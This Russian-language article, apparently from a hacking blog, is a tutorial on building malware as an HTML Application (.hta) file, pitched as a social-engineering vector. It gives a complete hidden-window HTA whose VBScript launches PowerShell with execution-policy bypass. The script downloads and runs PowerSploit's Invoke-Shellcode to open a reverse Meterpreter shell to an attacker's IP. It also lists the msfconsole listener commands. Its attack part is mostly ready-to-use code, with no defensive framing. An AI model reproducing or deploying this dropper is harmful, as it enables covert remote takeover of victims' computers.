Малварь на HTML или HTA для хакера.
Life-HackВВЕДЕНИЕ
В этой статье будет рассказано о разработке вредоносных приложений на HTML. Но возникает вопрос, а зачем это вообще нужно? Существует очень много ситуаций, когда такая малварь может пригодиться. И чаще всего, эти ситуации прикладные. Например, социально-технический вектор. Расширение .hta не вызывает особых подозрений, а значит может быть использовано в данном случае.
ОСНОВНАЯ ЧАСТЬ
Кто-то из вас скажет, что HTML не является языком программирования и будет прав, но в Windows существует возможность безбраузерного взаимодействия с документами HTML. Эта технология носит название HTA (HTML Application).
Эти приложения имеют расширения ".hta" и возможность их создания вышла уже в марте 1999 года. Так как HTA поддерживает исполнение сценариев, они могут использоваться для выполнения вредоносного кода.
Прочитать об этой технологии вы можете здесь
Запуск HTA приложений происходит с помощью прикладной программы mshta.exe, которая использует недокументированную функцию RunHTMLApplication для их запуска. По умолчанию файлам с расширением .hta для запуска присвоена программа mshta.exe, поэтому для запуска HTA файлов достаточно сохранить их с нужным расширением. Давайте рассмотрим, как именно происходит разработка HTML Application приложений.
Для начала, создадим файл с расширением .hta и сохраним его на диске.

Любопытный факт. Если запустить файл теперь, то особого прока это нам не принесёт, однако файл уже находится в рабочем состоянии.

В каждой программе, в каждом языке программирования есть определённый скелет, с которым необходимо работать. У HTA он такой:
<html> <head> <HTA:APPLICATION ID="oHTA" APPLICATIONNAME="Имя приложения" BORDER="Вид оформления окна. Варианты: thin/dialog/none/thick." BORDERSTYLE="Стиль рамки окна. Варианты: complex, normal, raised, static, sunken" CAPTION="Наличие загаловка у окна. Варианты: yes/no" maximizeButton="Наличие кнопки «Восстановить». Варианты: yes/no" minimizeButton="наличие кнопки «свернуть». Варианты: yes/no" ICON="Путь к значку окна в формате ICO (32x32)" SHOWINTASKBAR="Отображение документа в панели задач Windows. Варианты: yes/no" SINGLEINSTANCE="Можно ли открывать документы с тем же APPLIcATIONNAME? Варианты: yes/no" SYSMENU="Наличие системного меню и кнопок управления окном в заголовке окна. Варианты: yes/no" VERSION="Версия HTA. Я обычно ставлю 1.0" WINDOWSTATE="Исходный размер окна. Варианты: normal, minimize, maximize."/> </head> <body> Тело документа. </body> </html>
Как я уже сказал выше в HTA можно добавлять скрипты, как VBScript или JavaScript. Добавляется он также как и в обычные страницы. Кстати, аргументы с которым было запущено приложение можно получить с помощью атрибута commandLine элемента HTA:APPLICATION. Вот пример небольшого HTA приложения.
<html> <head> <title>HTA Test</title> <HTA:APPLICATION APPLICATIONNAME="Codeby" SCROLL="yes" SINGLEINSTANCE="yes" WINDOWSTATE="maximize" /> </head> <body> <script language="VBScript"> Msgbox "Hello, Codeby.NET!" </script> </body> </html>
Сохраним и запустим это и мы получим примерно следующий результат.

Как вы можете увидеть, скрипт был успешно запущен и отработан. Мы познакомились с основами технологии HTML Application. Теперь, можно перейти к самой теме статьи.
Давайте создадим приложения для получения сессии в Meterpreter. Нам нужно исключить появление окна, поэтому скелет, с которым мы будем работать будет такой:
<html> <head> <HTA:APPLICATION ID="oHTA" APPLICATIONNAME="MSession" BORDER="none" SHOWINTASKBAR="no" SINGLEINSTANCE="no" SYSMENU="no" VERSION="1.0" WINDOWSTATE="minimize" /> </head> <body> </body> </html>
Теперь, добавим запуск вредоносной Powershell команды через VBScript. Сначала, подготовим PowerShell команду.
1. Не будем показывать окно командной строки, отключим использование профиля powershell, отключим использование интерактивного режима и разрешим запуск сторонних скриптов. Этого можно достичь с помощью этих опций.
-w hidden -nop -noni -exec bypass
2. Подготовим вредоносный payload. Можно использовать эту нагрузку, которая предоставит нам meterpreter shell. Используем PowerSploit скрипт. Для этого скачаем его и запустим с нужными параметрами.
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force
где вместо 192.168.0.106 и 8007 укажите IP и порт атакующего.
3. Соберём команду и она примет следующий вид:
powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force
Теперь, вставим следующий VBScript в HTA файл.
Window.ReSizeTo 0,0 'Делаем окно невидимым, уменьшим его размер до минимального Window.MoveTo -4000, -4000 'Выносим окно за пределы видимости Set wsh = CreateObject("wscript.shell") 'Создаём объект для выполения команд wsh.Run "powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force" 'Выполняем команду Window.Close 'Завершаем работу
После данной манипуляции HTA файл приобретает следующий вид:
<html> <head> <HTA:APPLICATION ID="oHTA" APPLICATIONNAME="MSession" BORDER="none" SHOWINTASKBAR="no" SINGLEINSTANCE="no" SYSMENU="no" VERSION="1.0" WINDOWSTATE="minimize" /> </head> <body> <script language="VBScript"> Window.ReSizeTo 0,0 Window.MoveTo -4000, -4000 Set wsh = CreateObject("wscript.shell") wsh.Run "powershell -w hidden -nop -noni -exec bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.0.106 -lport 8007 -force" Window.Close </script> </body> </html>
Сохраните этот файл на диске.
Запустим Meterpreter Listener на ПК атакующего:

Вот последовательность команд для его запуска:
msfconsole -q use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_https set LHOST 192.168.0.106 set LPORT 8007 run
где вместо 192.168.0.106 и 8007 указываем IP атакующего и желаемый порт.
Теперь, запустив вредоносный HTA документ мы получим meterpreter сессию:

ЗАКЛЮЧЕНИЕ
На скриншоте выше видно, что сессия открылась успешно и мы можем взаимодействовать с заражённым компьютером.
Ну, на этом всё. Спасибо за внимание. Источник